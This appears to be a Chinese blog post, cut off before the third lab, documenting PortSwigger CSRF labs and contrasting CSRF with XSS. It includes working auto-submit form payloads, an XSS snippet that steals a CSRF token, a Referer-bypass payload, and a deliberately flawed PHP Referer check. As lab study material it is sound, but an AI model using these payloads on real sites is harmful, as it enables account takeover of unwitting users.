{"id":93074,"date":"2026-08-11T20:18:00","date_gmt":"2026-08-11T12:18:00","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/93074.html"},"modified":"2026-08-11T20:18:00","modified_gmt":"2026-08-11T12:18:00","slug":"csrf-%e6%94%bb%e9%98%b2%e5%ae%9e%e6%88%98%ef%bc%9a%e4%bb%8e%e5%8e%9f%e7%90%86%e5%88%b0%e7%bb%95%e8%bf%87%ef%bc%8c%e4%b8%80%e7%af%87%e6%8e%8c%e6%8f%a1%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/93074.html","title":{"rendered":"CSRF \u653b\u9632\u5b9e\u6218\uff1a\u4ece\u539f\u7406\u5230\u7ed5\u8fc7\uff0c\u4e00\u7bc7\u638c\u63e1\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020"},"content":{"rendered":"

CSRF \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\u5b8c\u5168\u5b9e\u6218\u624b\u518c<\/h2>\n

\u5b66\u4e60\u5e73\u53f0：PortSwigger Web Security Academy \u5b8c\u6210\u65e5\u671f：Day 11 \u524d\u7f6e\u77e5\u8bc6：\u5df2\u5b8c\u6210 XSS \u57fa\u7840\u4e0e\u8fdb\u9636（Day 9-10）<\/p>\n

\u76ee\u5f55<\/h3>\n
  • \u4ec0\u4e48\u662f CSRF<\/li>\n
  • CSRF \u4e0e XSS \u7684\u6838\u5fc3\u533a\u522b<\/li>\n
  • \u5b9e\u9a8c\u5ba4 1：\u65e0\u9632\u5fa1\u7684 CSRF<\/li>\n
  • \u5b9e\u9a8c\u5ba4 2：Referer \u9a8c\u8bc1\u5931\u6548<\/li>\n
  • \u5b9e\u9a8c\u5ba4 3：Token \u672a\u7ed1\u5b9a\u4f1a\u8bdd<\/li>\n
  • CSRF \u9632\u5fa1\u65b9\u6848\u603b\u7ed3<\/li>\n
  • \u6838\u5fc3\u6536\u83b7<\/li>\n
    \n

    \u4e00\u3001\u4ec0\u4e48\u662f CSRF<\/h3>\n

    1.1 \u5b9a\u4e49<\/h4>\n

    CSRF（Cross-Site Request Forgery，\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020） \u662f\u4e00\u79cd\u653b\u51fb\u8005\u8bf1\u5bfc\u5df2\u767b\u5f55\u7528\u6237\u5728\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b，\u4ee5\u5176\u8eab\u4efd\u6267\u884c\u975e\u9884\u671f\u64cd\u4f5c\u7684\u653b\u51fb\u65b9\u5f0f\u3002<\/p>\n

    1.2 \u6838\u5fc3\u539f\u7406<\/h4>\n

    \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
    \n\u2502 \u7528\u6237\u767b\u5f55\u94f6\u884c\u7f51\u7ad9 A \u2502
    \n\u2502 Cookie: session=xxx（\u6d4f\u89c8\u5668\u81ea\u52a8\u4fdd\u5b58） \u2502
    \n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
    \n \u2502
    \n \u25bc
    \n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
    \n\u2502 \u7528\u6237\u8bbf\u95ee\u653b\u51fb\u8005\u63a7\u5236\u7684\u7f51\u7ad9 B（\u9493\u9c7c\u90ae\u4ef6\/\u6076\u610f\u5e7f\u544a） \u2502
    \n\u2502 \u7f51\u7ad9 B \u4e2d\u9690\u85cf\u4e86\u4e00\u4e2a\u81ea\u52a8\u63d0\u4ea4\u7684\u8868\u5355： \u2502
    \n\u2502 <form action="https:\/\/\u94f6\u884cA.com\/\u8f6c\u8d26" method="POST"> \u2502
    \n\u2502 <input name="to" value="\u9ed1\u5ba2\u8d26\u53f7"> \u2502
    \n\u2502 <input name="amount" value="10000"> \u2502
    \n\u2502 <\/form> \u2502
    \n\u2502 <script>document.forms[0].submit();<\/script> \u2502
    \n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
    \n \u2502
    \n \u25bc
    \n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
    \n\u2502 \u6d4f\u89c8\u5668\u81ea\u52a8\u5e26\u4e0a\u94f6\u884c A \u7684 Cookie \u53d1\u9001\u8bf7\u6c42 \u2502
    \n\u2502 \u94f6\u884c A \u770b\u5230\u5408\u6cd5\u7684 Session \u2192 \u6267\u884c\u8f6c\u8d26 \u2502
    \n\u2502 \u7528\u6237\u5b8c\u5168\u4e0d\u77e5\u60c5！ \u2502
    \n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/p>\n

    1.3 \u4e3a\u4ec0\u4e48\u53eb\u201c\u8de8\u7ad9\u201d？<\/h4>\n

    \u56e0\u4e3a\u653b\u51fb\u4ee3\u7801\u6258\u7ba1\u5728\u653b\u51fb\u8005\u7684\u7f51\u7ad9（\u8de8\u7ad9），\u4f46\u5229\u7528\u7684\u662f\u76ee\u6807\u7f51\u7ad9（\u53d7\u5bb3\u7ad9\u70b9） \u4e0a\u7528\u6237\u7684\u5df2\u767b\u5f55\u72b6\u6001\u3002<\/p>\n

    1.4 \u653b\u51fb\u6210\u7acb\u7684\u4e24\u4e2a\u5fc5\u8981\u6761\u4ef6<\/h4>\n\n\u6761\u4ef6\u8bf4\u660e<\/tr>\n\n\n\n
    \u7528\u6237\u5df2\u767b\u5f55\u76ee\u6807\u7f51\u7ad9<\/td>\n\u6d4f\u89c8\u5668\u4e2d\u4fdd\u5b58\u4e86\u76ee\u6807\u7f51\u7ad9\u7684 Session Cookie<\/td>\n<\/tr>\n
    \u76ee\u6807\u7f51\u7ad9\u6ca1\u6709 CSRF \u9632\u5fa1<\/td>\n\u6ca1\u6709 Token\u3001SameSite Cookie \u6216 Referer \u9a8c\u8bc1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    \n

    \u4e8c\u3001CSRF \u4e0e XSS \u7684\u6838\u5fc3\u533a\u522b<\/h3>\n\n\u5bf9\u6bd4\u9879CSRFXSS<\/tr>\n\n\n\n\n\n\n\n\n\n\n\n
    \u5168\u79f0<\/td>\nCross-Site Request Forgery<\/td>\nCross-Site Scripting<\/td>\n<\/tr>\n
    \u653b\u51fb\u76ee\u6807<\/td>\n\u5229\u7528\u7528\u6237\u5df2\u767b\u5f55\u72b6\u6001\u6267\u884c\u64cd\u4f5c<\/td>\n\u5728\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u6267\u884c\u6076\u610f\u811a\u672c<\/td>\n<\/tr>\n
    \u662f\u5426\u9700\u8981\u7528\u6237\u5df2\u767b\u5f55<\/td>\n\u2705 \u5fc5\u987b<\/td>\n\u274c \u4e0d\u4e00\u5b9a<\/td>\n<\/tr>\n
    \u80fd\u5426\u8bfb\u53d6 Cookie<\/td>\n\u274c \u4e0d\u80fd<\/td>\n\u2705 \u53ef\u4ee5（\u901a\u8fc7 document.cookie）<\/td>\n<\/tr>\n
    \u653b\u51fb\u4ee3\u7801\u4f4d\u7f6e<\/td>\n\u653b\u51fb\u8005\u63a7\u5236\u7684\u7b2c\u4e09\u65b9\u7f51\u7ad9<\/td>\n\u76ee\u6807\u7f51\u7ad9\u672c\u8eab\u7684\u9875\u9762\u4e2d<\/td>\n<\/tr>\n
    \u7528\u6237\u4ea4\u4e92\u8981\u6c42<\/td>\n\u8bbf\u95ee\u653b\u51fb\u8005\u7f51\u9875\u5373\u53ef（\u96f6\u64cd\u4f5c）<\/td>\n\u8bbf\u95ee\u542b\u6076\u610f\u811a\u672c\u7684\u9875\u9762<\/td>\n<\/tr>\n
    \u6d4f\u89c8\u5668\u884c\u4e3a<\/td>\n\u81ea\u52a8\u5e26\u4e0a\u76ee\u6807\u7ad9 Cookie \u53d1\u8bf7\u6c42<\/td>\n\u6267\u884c\u6ce8\u5165\u7684 JavaScript<\/td>\n<\/tr>\n
    \u5178\u578b\u5371\u5bb3<\/td>\n\u8f6c\u8d26\u3001\u6539\u5bc6\u7801\u3001\u6539\u90ae\u7bb1<\/td>\n\u7a83\u53d6 Cookie\u3001\u952e\u76d8\u8bb0\u5f55\u3001\u9493\u9c7c<\/td>\n<\/tr>\n
    \u9632\u5fa1\u65b9\u6cd5<\/td>\nCSRF Token\u3001SameSite Cookie<\/td>\n\u8f93\u51fa\u7f16\u7801\u3001CSP\u3001HttpOnly<\/td>\n<\/tr>\n
    \u5173\u7cfb<\/td>\nXSS \u53ef\u4ee5\u7ed5\u8fc7 CSRF Token \u9632\u5fa1<\/td>\n\u2014<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    2.1 \u4e00\u53e5\u8bdd\u533a\u5206<\/h4>\n
      \n
    • CSRF：\u9ed1\u5ba2"\u501f\u7528"\u4f60\u7684\u8eab\u4efd\u53bb\u5e72\u574f\u4e8b（\u4f60\u4e0d\u77e5\u60c5，\u6d4f\u89c8\u5668\u81ea\u52a8\u5e2e\u5fd9）<\/li>\n
    • XSS：\u9ed1\u5ba2"\u6ce8\u5165"\u6076\u610f\u4ee3\u7801\u5230\u4f60\u7684\u9875\u9762\u91cc\u6267\u884c（\u4ee3\u7801\u5728\u76ee\u6807\u7ad9\u8fd0\u884c）<\/li>\n<\/ul>\n

      2.2 XSS \u5982\u4f55\u7ed5\u8fc7 CSRF Token？<\/h4>\n

      \u5982\u679c\u76ee\u6807\u7f51\u7ad9\u540c\u65f6\u5b58\u5728 XSS \u6f0f\u6d1e \u548c CSRF Token \u9632\u5fa1：<\/p>\n

      <<\/span>script<\/span>><\/span><\/span>
      \n\/\/ XSS \u8bfb\u53d6\u9875\u9762\u4e0a\u7684 CSRF Token<\/span>
      \nvar<\/span> token =<\/span> document.<\/span>getElementsByName<\/span>(<\/span>'csrf'<\/span>)<\/span>[<\/span>0<\/span>]<\/span>.<\/span>value;<\/span><\/p>\n

      \/\/ \u7528\u83b7\u53d6\u5230\u7684 Token \u6784\u9020\u5408\u6cd5\u8bf7\u6c42<\/span>
      \nfetch<\/span>(<\/span>'\/change-email'<\/span>,<\/span> {<\/span>
      \n method<\/span>:<\/span> 'POST'<\/span>,<\/span>
      \n body<\/span>:<\/span> 'email=hacked@evil.com&csrf='<\/span> +<\/span> token
      \n}<\/span>)<\/span>;<\/span>
      \n<\/span><\/span><\/<\/span>script<\/span>><\/span><\/span><\/p>\n

      \u7ed3\u8bba：XSS \u7684\u5371\u5bb3\u6bd4 CSRF \u66f4\u5927，\u56e0\u4e3a XSS \u53ef\u4ee5\u8bfb\u53d6\u9875\u9762\u4e0a\u7684 Token，\u4ece\u800c\u7ed5\u8fc7 CSRF \u7684\u6240\u6709\u9632\u5fa1\u3002<\/p>\n

      \u4e09\u3001\u5b9e\u9a8c\u5ba4 1：\u65e0\u9632\u5fa1\u7684 CSRF<\/h3>\n

      3.1 \u653b\u51fb\u76ee\u7684<\/h4>\n

      \u7406\u89e3\u6700\u57fa\u7840\u7684 CSRF \u653b\u51fb：\u76ee\u6807\u7f51\u7ad9\u6ca1\u6709\u4efb\u4f55\u9632\u5fa1，\u653b\u51fb\u8005\u53ef\u4ee5\u76f4\u63a5\u6784\u9020\u6076\u610f\u8bf7\u6c42\u8ba9\u53d7\u5bb3\u8005\u6267\u884c\u3002<\/p>\n

      3.2 \u653b\u51fb\u601d\u8def<\/h4>\n
    • \u767b\u5f55\u76ee\u6807\u7f51\u7ad9，\u627e\u5230"\u4fee\u6539\u90ae\u7bb1"\u529f\u80fd<\/li>\n
    • \u6b63\u5e38\u4fee\u6539\u4e00\u6b21，\u89c2\u5bdf\u8bf7\u6c42\u65b9\u5f0f（GET\/POST）\u548c\u53c2\u6570<\/li>\n
    • \u6784\u9020\u5305\u542b\u6076\u610f\u53c2\u6570\u7684 URL \u6216\u81ea\u52a8\u63d0\u4ea4\u8868\u5355<\/li>\n
    • \u8bf1\u9a97\u5df2\u767b\u5f55\u7684\u53d7\u5bb3\u8005\u8bbf\u95ee \u2192 \u90ae\u7bb1\u88ab\u7be1\u6539<\/li>\n

      3.3 \u5b9e\u65bd\u6b65\u9aa4<\/h4>\n

      Step 1：\u8bbf\u95ee\u5b9e\u9a8c\u5ba4\u5e76\u767b\u5f55<\/h5>\n

      \u8bbf\u95ee\u5730\u5740： https:\/\/portswigger.net\/web-security\/csrf\/lab-no-defenses<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 2：\u8fdb\u5165\u201c\u6211\u7684\u8d26\u6237\u201d\u9875\u9762<\/h5>\n

      \u70b9\u51fb\u9875\u9762\u9876\u90e8\u7684 \u201c\u6211\u7684\u8d26\u6237\u201d（My account）\u3002<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 3：\u6b63\u5e38\u4fee\u6539\u90ae\u7bb1，\u89c2\u5bdf\u8bf7\u6c42<\/h5>\n

      \u5728\u90ae\u7bb1\u8f93\u5165\u6846\u8f93\u5165\u65b0\u90ae\u7bb1（\u5982 test@example.com），\u70b9\u51fb \u201c\u66f4\u65b0\u90ae\u4ef6\u201d\u3002<\/p>\n

      \u5173\u952e\u89c2\u5bdf：\u6309 F12 \u2192 Network \u9762\u677f，\u67e5\u770b\u8bf7\u6c42\u8be6\u60c5\u3002<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 4：\u6784\u9020\u653b\u51fb\u4ee3\u7801<\/h5>\n

      \u6839\u636e\u6293\u5305\u7ed3\u679c，\u6784\u9020\u81ea\u52a8\u63d0\u4ea4\u7684\u8868\u5355：<\/p>\n

      <<\/span>form<\/span> method<\/span>=<\/span>"<\/span>POST"<\/span><\/span> action<\/span>=<\/span>"<\/span>https:\/\/YOUR-LAB-ID.web-security-academy.net\/my-account\/change-email"<\/span><\/span>><\/span><\/span>
      \n <<\/span>input<\/span> type<\/span>=<\/span>"<\/span>hidden"<\/span><\/span> name<\/span>=<\/span>"<\/span>email"<\/span><\/span> value<\/span>=<\/span>"<\/span>pwned@evil.com"<\/span><\/span>><\/span><\/span>
      \n<\/<\/span>form<\/span>><\/span><\/span>
      \n<<\/span>script<\/span>><\/span><\/span>
      \n document.<\/span>forms[<\/span>0<\/span>]<\/span>.<\/span>submit<\/span>(<\/span>)<\/span>;<\/span>
      \n<\/span><\/span><\/<\/span>script<\/span>><\/span><\/span><\/p>\n

      Step 5：\u5728 Exploit Server \u4e2d\u90e8\u7f72<\/h5>\n
    • \u70b9\u51fb\u9875\u9762\u9876\u90e8\u7684 \u201c\u524d\u5f80\u6f0f\u6d1e\u670d\u52a1\u5668\u201d（Go to exploit server）<\/li>\n
    • \u5728 Body \u6587\u672c\u6846\u4e2d\u7c98\u8d34\u4e0a\u9762\u7684\u4ee3\u7801<\/li>\n
    • \u70b9\u51fb \u201c\u5546\u5e97\u201d（Store）\u4fdd\u5b58<\/li>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 6：\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005<\/h5>\n

      \u70b9\u51fb \u201c\u5c06\u5229\u7528\u6743\u4f20\u9012\u7ed9\u53d7\u5bb3\u8005\u201d（Deliver exploit to victim）\u3002<\/p>\n

      PortSwigger \u4f1a\u81ea\u52a8\u6a21\u62df\u4e00\u4e2a\u5df2\u767b\u5f55\u7684\u53d7\u5bb3\u8005\u8bbf\u95ee\u4f60\u7684\u653b\u51fb\u9875\u9762，\u8868\u5355\u81ea\u52a8\u63d0\u4ea4 \u2192 \u53d7\u5bb3\u8005\u90ae\u7bb1\u88ab\u7be1\u6539\u3002<\/p>\n

      Step 7：\u9a8c\u8bc1\u6210\u529f<\/h5>\n

      \u7b49\u5f85 3-5 \u79d2，\u70b9\u51fb \u201c\u8fd4\u56de\u5b9e\u9a8c\u5ba4\u201d\u3002<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      3.4 \u4e3a\u4ec0\u4e48\u80fd\u6210\u529f？<\/h4>\n\n\u539f\u56e0\u8bf4\u660e<\/tr>\n\n\n\n\n\n
      \u65e0 Token \u9632\u5fa1<\/td>\n\u8bf7\u6c42\u4e2d\u6ca1\u6709\u4efb\u4f55 CSRF Token<\/td>\n<\/tr>\n
      \u65e0 Referer \u9a8c\u8bc1<\/td>\n\u540e\u7aef\u4e0d\u68c0\u67e5\u8bf7\u6c42\u6765\u6e90<\/td>\n<\/tr>\n
      \u65e0 SameSite Cookie<\/td>\nCookie \u968f\u8de8\u7ad9\u8bf7\u6c42\u81ea\u52a8\u53d1\u9001<\/td>\n<\/tr>\n
      \u6d4f\u89c8\u5668\u81ea\u52a8\u5e26 Cookie<\/td>\n\u53d7\u5bb3\u8005\u5df2\u767b\u5f55，\u6d4f\u89c8\u5668\u81ea\u52a8\u5e26\u4e0a Session Cookie<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
      \n

      \u56db\u3001\u5b9e\u9a8c\u5ba4 2：Referer \u9a8c\u8bc1\u5931\u6548\u7684 CSRF<\/h3>\n

      4.1 \u653b\u51fb\u76ee\u7684<\/h4>\n

      \u7406\u89e3\u201c\u6709\u9632\u5fa1\u4f46\u9632\u5fa1\u903b\u8f91\u6709\u7f3a\u9677\u201d\u7684\u573a\u666f\u3002\u76ee\u6807\u7f51\u7ad9\u68c0\u67e5\u4e86 Referer \u5934，\u4f46\u9a8c\u8bc1\u903b\u8f91\u4e0d\u4e25\u683c，\u53ef\u4ee5\u88ab\u7ed5\u8fc7\u3002<\/p>\n

      4.2 \u653b\u51fb\u601d\u8def<\/h4>\n
    • \u6b63\u5e38\u4fee\u6539\u90ae\u7bb1，\u6293\u5305\u89c2\u5bdf Referer \u5934<\/li>\n
    • \u5c1d\u8bd5\u4fee\u6539 Referer \u5934，\u53d1\u73b0\u540e\u7aef\u62d2\u7edd<\/li>\n
    • \u5206\u6790\u540e\u7aef\u9a8c\u8bc1\u903b\u8f91：\u53ef\u80fd\u53ea\u68c0\u67e5 Referer \u4e2d\u662f\u5426\u5305\u542b\u76ee\u6807\u57df\u540d<\/li>\n
    • \u6784\u9020\u653b\u51fb\u9875\u9762，\u8ba9 Referer \u5934"\u770b\u8d77\u6765\u5408\u6cd5"<\/li>\n
    • \u5229\u7528 history.pushState() \u4fee\u6539\u5f53\u524d URL，\u4f7f Referer \u5305\u542b\u76ee\u6807\u57df\u540d<\/li>\n

      4.3 \u5b9e\u65bd\u6b65\u9aa4<\/h4>\n

      Step 1：\u8bbf\u95ee\u5b9e\u9a8c\u5ba4\u5e76\u767b\u5f55<\/h5>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 2：\u6b63\u5e38\u4fee\u6539\u90ae\u7bb1，\u6293\u5305\u89c2\u5bdf Referer<\/h5>\n

      \u6309 F12 \u2192 Network \u2192 \u70b9\u51fb change-email \u8bf7\u6c42 \u2192 \u8bf7\u6c42\u6807\u5934，\u627e\u5230 Referer \u5b57\u6bb5：<\/p>\n

      Referer: https:\/\/0a0500c80393b5da802a03cf00eb00d5.web-security-academy.net\/my-account?id=wiener<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 3：\u5206\u6790\u9a8c\u8bc1\u903b\u8f91<\/h5>\n

      \u6839\u636e Solution \u63d0\u793a，\u540e\u7aef\u9a8c\u8bc1\u903b\u8f91\u7c7b\u4f3c：<\/p>\n

      \/\/ \u274c \u9519\u8bef：\u53ea\u68c0\u67e5 Referer \u5b57\u7b26\u4e32\u4e2d\u662f\u5426\u5305\u542b\u76ee\u6807\u57df\u540d<\/span>
      \n$referer<\/span> =<\/span> $_SERVER<\/span>[<\/span>'HTTP_REFERER'<\/span>]<\/span>;<\/span>
      \nif<\/span> (<\/span>strpos<\/span>(<\/span>$referer<\/span>,<\/span> 'web-security-academy.net'<\/span>)<\/span> !==<\/span> false<\/span>)<\/span> {<\/span>
      \n \/\/ \u8ba4\u4e3a\u5408\u6cd5！<\/span>
      \n changeEmail<\/span>(<\/span>$_POST<\/span>[<\/span>'email'<\/span>]<\/span>)<\/span>;<\/span>
      \n}<\/span><\/p>\n

      \u6f0f\u6d1e：\u53ea\u8981 Referer \u4e2d\u5305\u542b\u76ee\u6807\u57df\u540d\u5373\u53ef\u901a\u8fc7，\u4e0d\u8981\u6c42 Referer \u5fc5\u987b\u6765\u81ea\u76ee\u6807\u57df\u540d\u672c\u8eab\u3002<\/p>\n

      Step 4：\u6784\u9020\u7ed5\u8fc7\u4ee3\u7801<\/h5>\n

      \u5229\u7528 history.pushState() \u4fee\u6539\u5f53\u524d\u9875\u9762 URL（\u4e0d\u5237\u65b0\u9875\u9762），\u4f7f Referer \u5934\u5305\u542b\u76ee\u6807\u57df\u540d：<\/p>\n

      <!– Head \u90e8\u5206\u6dfb\u52a0 Referrer-Policy –><\/span>
      \nReferrer-Policy: unsafe-url<\/p>\n

      <!– Body \u90e8\u5206 –><\/span>
      \n<<\/span>form<\/span> method<\/span>=<\/span>"<\/span>POST"<\/span><\/span> action<\/span>=<\/span>"<\/span>https:\/\/0ad3009203b71ab680b00380004d00ca.web-security-academy.net\/my-account\/change-email"<\/span><\/span>><\/span><\/span>
      \n <<\/span>input<\/span> type<\/span>=<\/span>"<\/span>hidden"<\/span><\/span> name<\/span>=<\/span>"<\/span>email"<\/span><\/span> value<\/span>=<\/span>"<\/span>pwned@evil.com"<\/span><\/span>><\/span><\/span>
      \n<\/<\/span>form<\/span>><\/span><\/span>
      \n<<\/span>script<\/span>><\/span><\/span>
      \nhistory.<\/span>pushState<\/span>(<\/span>""<\/span>,<\/span> ""<\/span>,<\/span> "\/?0ad3009203b71ab680b00380004d00ca.web-security-academy.net"<\/span>)<\/span>;<\/span>
      \ndocument.<\/span>forms[<\/span>0<\/span>]<\/span>.<\/span>submit<\/span>(<\/span>)<\/span>;<\/span>
      \n<\/span><\/span><\/<\/span>script<\/span>><\/span><\/span><\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      Step 5：\u4e3a\u4ec0\u4e48\u9700\u8981 Referrer-Policy: unsafe-url？<\/h5>\n

      \u73b0\u4ee3\u6d4f\u89c8\u5668（Chrome\u3001Firefox \u7b49）\u9ed8\u8ba4\u4f1a\u5265\u79bb Referer \u5934\u4e2d\u7684\u67e5\u8be2\u5b57\u7b26\u4e32（\u5b89\u5168\u7b56\u7565）\u3002<\/p>\n\n\u7b56\u7565Referer \u884c\u4e3a<\/tr>\n\n\n\n
      \u9ed8\u8ba4（\u65e0\u7b56\u7565）<\/td>\n\u8de8\u7ad9\u8bf7\u6c42\u65f6 Referer \u53ea\u4fdd\u7559\u57df\u540d，\u53bb\u6389\u67e5\u8be2\u5b57\u7b26\u4e32<\/td>\n<\/tr>\n
      unsafe-url<\/td>\n\u4fdd\u7559\u5b8c\u6574 URL，\u5305\u62ec\u67e5\u8be2\u5b57\u7b26\u4e32<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

      \u5982\u679c\u4e0d\u52a0\u8fd9\u4e2a\u5934，Referer \u4f1a\u53d8\u6210：<\/p>\n

      Referer: https:\/\/exploit-xxx.exploit-server.net\/ \u2190 \u6ca1\u6709\u67e5\u8be2\u5b57\u7b26\u4e32，\u9a8c\u8bc1\u5931\u8d25<\/p>\n

      \u52a0\u4e86\u4e4b\u540e，Referer \u53d8\u6210：<\/p>\n

      Referer: https:\/\/exploit-xxx.exploit-server.net\/?0a0500c…web-security-academy.net<\/p>\n

      \u540e\u7aef strpos \u68c0\u67e5 \u2192 \u53d1\u73b0\u5305\u542b\u76ee\u6807\u57df\u540d \u2192 \u9a8c\u8bc1\u901a\u8fc7！<\/p>\n

      Step 6：Store \u2192 Deliver to victim<\/h5>\n
    • \u70b9\u51fb \u201c\u5546\u5e97\u201d（Store）\u4fdd\u5b58<\/li>\n
    • \u70b9\u51fb \u201c\u5c06\u5229\u7528\u6743\u4f20\u9012\u7ed9\u53d7\u5bb3\u8005\u201d（Deliver exploit to victim）#### Step 7：\u9a8c\u8bc1\u6210\u529f<\/li>\n

      \u7b49\u5f85 3-5 \u79d2，\u8fd4\u56de\u5b9e\u9a8c\u5ba4\u3002<\/p>\n

      \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

      4.4 \u4e3a\u4ec0\u4e48\u80fd\u6210\u529f？<\/h4>\n\n\u539f\u56e0\u8bf4\u660e<\/tr>\n\n\n\n\n\n
      Referer \u9a8c\u8bc1\u903b\u8f91\u7f3a\u9677<\/td>\n\u540e\u7aef\u7528 strpos \u68c0\u67e5\u201c\u662f\u5426\u5305\u542b\u201d，\u800c\u975e\u4e25\u683c\u5339\u914d\u57df\u540d<\/td>\n<\/tr>\n
      URL \u6784\u9020\u7ed5\u8fc7<\/td>\n\u8ba9\u653b\u51fb\u9875\u9762\u7684 URL \u5305\u542b\u76ee\u6807\u57df\u540d\u4f5c\u4e3a\u67e5\u8be2\u5b57\u7b26\u4e32<\/td>\n<\/tr>\n
      \u6d4f\u89c8\u5668\u5b89\u5168\u7b56\u7565\u7ed5\u8fc7<\/td>\nReferrer-Policy: unsafe-url \u5f3a\u5236\u4fdd\u7559\u5b8c\u6574 Referer<\/td>\n<\/tr>\n
      \u53d7\u5bb3\u8005\u65e0\u611f\u77e5<\/td>\n\u9875\u9762\u52a0\u8f7d\u540e JS \u81ea\u52a8\u6267\u884c，\u53d7\u5bb3\u8005\u5b8c\u5168\u4e0d\u77e5\u60c5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

      4.5 \u6b63\u786e\u7684 Referer \u9a8c\u8bc1\u5e94\u8be5\u600e\u4e48\u505a？<\/h4>\n

      \/\/ \u2705 \u6b63\u786e：\u4e25\u683c\u89e3\u6790\u5e76\u5339\u914d\u57df\u540d<\/span>
      \n$referer<\/span> =<\/span> parse_url<\/span>(<\/span>$_SERVER<\/span>[<\/span>'HTTP_REFERER'<\/span>]<\/span>)<\/span>;<\/span>
      \nif<\/span> (<\/span>$referer<\/span>[<\/span>'host'<\/span>]<\/span> ===<\/span> 'web-security-academy.net'<\/span>)<\/span> {<\/span>
      \n changeEmail<\/span>(<\/span>$_POST<\/span>[<\/span>'email'<\/span>]<\/span>)<\/span>;<\/span>
      \n}<\/span><\/p>\n

      \u4e94\u3001\u5b9e\u9a8c\u5ba4 3：Token \u672a\u7ed1\u5b9a\u4f1a\u8bdd\u7684 CSRF<\/h3>\n

      5.1 \u653b\u51fb\u76ee\u7684<\/h4>\n

